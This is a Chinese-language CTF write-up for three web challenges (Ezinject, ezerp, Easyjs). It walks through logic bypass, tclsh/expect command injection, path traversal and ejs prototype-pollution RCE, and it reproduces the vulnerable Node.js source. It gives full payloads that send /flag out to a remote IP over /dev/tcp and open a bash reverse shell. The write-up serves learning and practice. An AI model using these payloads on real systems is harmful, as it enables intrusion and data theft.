环境都关了 自己搭个简陋的来测试

参考

https://mp.weixin.qq.com/s/KiP3jU1WghdBXLMDpb3FJQ

Ezinject

./git泄露 githack下载源码下来

image-20240201160921186

这就是个逻辑问题 tmd 当时困住了一会 session我们是无法进行修改的 那么我们就从其逻辑下手 先让ua为空报错 进入到catch中 使其loginOk不为null 为false 那么再次进入try的时候 我们就能直接进入到else中 使loginOk为True从而可以执行命令

image-20240201161142460

这个command我们可控 重点就是讲这里了 他使用的expect命令来执行call.sh

image-20240201161234247

使用的使tclsh来进行解析 和别的bash还是有点不同的

image-20240201161326949

password固定了 那么我们现在就剩这个 port和host还有dir可控了 因为在expect中执行命令需要system开头 那么port就被占用了 我们就剩host和dir了 我们本地进行演示一下 靠 xx test -d xx 能不能执行命令

image-20240201161801422

这样是可以正常执行的 后面的参数对echo来说都是字符串

image-20240201162149384

使用 `` 来当shell执行 这样是可以的 那么我们就构造好了

最终payload

1
2
3
4
5
command=echo  [system '`cat</flag>/dev/tcp/101.42.39.110/3389`'|bash]



cat</flag和cat /flag的效果是一样的 这里我们将获取到的结果 > 到vps上

拼接到命令行中

1
eval spawn ssh -p [system echo test -d '`cat</flag>/dev/tcp/101.42.39.110/3389`'|bash]

image-20240201162617758

image-20240201162629032

还有一种解法是使用tclsh的exec方法来执行

https://boogipop.com/2024/01/31/%E7%AC%AC%E4%B8%83%E5%B1%8A%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%91Writeup/

ezerp

https://mp.weixin.qq.com/s/KiP3jU1WghdBXLMDpb3FJQ

看这篇文章来进行学习吧 主要是学习人家的思路 动调源码来分析 然后找到官方提供的制造插件的方法 然后伪造一个插件 然后在利用issue上的一个任意文件上传洞 上传恶意构造好的jar包 然后install就能RCE了

主要是学习人家的耐心和动调的思路

(要是让我动调来做的话 估计没有耐心。。。。。。。。。。)

文件上传的题少用bp 因为 paste for file会损坏文件内容

Easyjs

这个题的话 CTF复现计划群里有docker 直接搭建就行

(早知道当时来看这个题了 当时绑死在那个inject题那了 还没做出……………………….)

用dirsearch扫或者直接看 robots.txt 都是能直接看到路由的

1
2
3
4
rename
upload
list
file

一共是有这四个路由

image-20240201183754102

随便上传文件后 会返回uuid 等会我们就可以根据这个uuid来获取到我们上传的文件

image-20240201183932743

漏洞点就在重命名处 存在路径穿越漏洞

image-20240201184354447

重命名后

image-20240201184408115

然后使用file来进行读取

image-20240201184420792

这个就是sh文件的内容 node /app/index.js 然后再用相同的方法读取该文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
var express = require('express');
const fs = require('fs');
var _= require('lodash');
var bodyParser = require("body-parser");
const cookieParser = require('cookie-parser');
var ejs = require('ejs');
var path = require('path');
const putil_merge = require("putil-merge")
const fileUpload = require('express-fileupload');
const { v4: uuidv4 } = require('uuid');
const {value} = require("lodash/seq");
var app = express();
// 将文件信息存储到全局字典中
global.fileDictionary = global.fileDictionary || {};

app.use(fileUpload());
// 使用 body-parser 处理 POST 请求的数据
app.use(bodyParser.urlencoded({ extended: true }));
app.use(bodyParser.json());
// 设置模板的位置
app.set('views', path.join(__dirname, 'views'));
// 设置模板引擎
app.set('view engine', 'ejs');
// 静态文件(CSS)目录
app.use(express.static(path.join(__dirname, 'public')))

app.get('/', (req, res) => {
res.render('index');
});

app.get('/index', (req, res) => {

res.render('index');
});
app.get('/upload', (req, res) => {
//显示上传页面
res.render('upload');
});

app.post('/upload', (req, res) => {
const file = req.files.file;
const uniqueFileName = uuidv4();
const destinationPath = path.join(__dirname, 'uploads', file.name);
// 将文件写入 uploads 目录
fs.writeFileSync(destinationPath, file.data);
global.fileDictionary[uniqueFileName] = file.name;
res.send(uniqueFileName);
});


app.get('/list', (req, res) => {
// const keys = Object.keys(global.fileDictionary);
res.send(global.fileDictionary);
});
app.get('/file', (req, res) => {
if(req.query.uniqueFileName){
uniqueFileName = req.query.uniqueFileName
filName = global.fileDictionary[uniqueFileName]

if(filName){
try{
res.send(fs.readFileSync(__dirname+"/uploads/"+filName).toString())
}catch (error){
res.send("文件不存在!");
}

}else{
res.send("文件不存在!");
}
}else{
res.render('file')
}
});


app.get('/rename',(req,res)=>{
res.render("rename")
});
app.post('/rename', (req, res) => {
if (req.body.oldFileName && req.body.newFileName && req.body.uuid){
oldFileName = req.body.oldFileName
newFileName = req.body.newFileName
uuid = req.body.uuid
if (waf(oldFileName) && waf(newFileName) && waf(uuid)){
uniqueFileName = findKeyByValue(global.fileDictionary,oldFileName)
console.log(typeof uuid);
if (uniqueFileName == uuid){
putil_merge(global.fileDictionary,{[uuid]:newFileName},{deep:true})
if(newFileName.includes('..')){
res.send('文件重命名失败!!!');
}else{
fs.rename(__dirname+"/uploads/"+oldFileName, __dirname+"/uploads/"+newFileName, (err) => {
if (err) {
res.send('文件重命名失败!');
} else {
res.send('文件重命名成功!');
}
});
}
}else{
res.send('文件重命名失败!');
}

}else{
res.send('哒咩哒咩!');
}

}else{
res.send('文件重命名失败!');
}
});
function findKeyByValue(obj, targetValue) {
for (const key in obj) {
if (obj.hasOwnProperty(key) && obj[key] === targetValue) {
return key;
}
}
return null; // 如果未找到匹配的键名,返回null或其他标识
}
function waf(data) {
data = JSON.stringify(data)
if (data.includes('outputFunctionName') || data.includes('escape') || data.includes('delimiter') || data.includes('localsName')) {
return false;
}else{
return true;
}
}
//设置http
var server = app.listen(8888,function () {
var port = server.address().port
console.log("http://127.0.0.1:%s", port)
});

image-20240201184543074

image-20240201184552402

findKeyByValue这个函数存在原型链污染 然后题目还说是ejs 于是猜测是打ejs的原型链污染

https://github.com/mde/ejs/issues/730

在ejs的issue里看到有5个paylaod 题目过滤了三个 那么我们直接挑destructuredLocals这个来打就行了

image-20240201184755545

最终paylaod

1
{"oldFileName":"a.txt","newFileName":{"__proto__":{ "destructuredLocals":["__line=__line;global.process.mainModule.require('child_proce ss').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');//"] }},"uuid":"5769140e-b76b-419a-b590-9630f023bdd7"}

image-20240201185936210

然后这样就能RCE了 这个环境可能有点问题 没弹上反正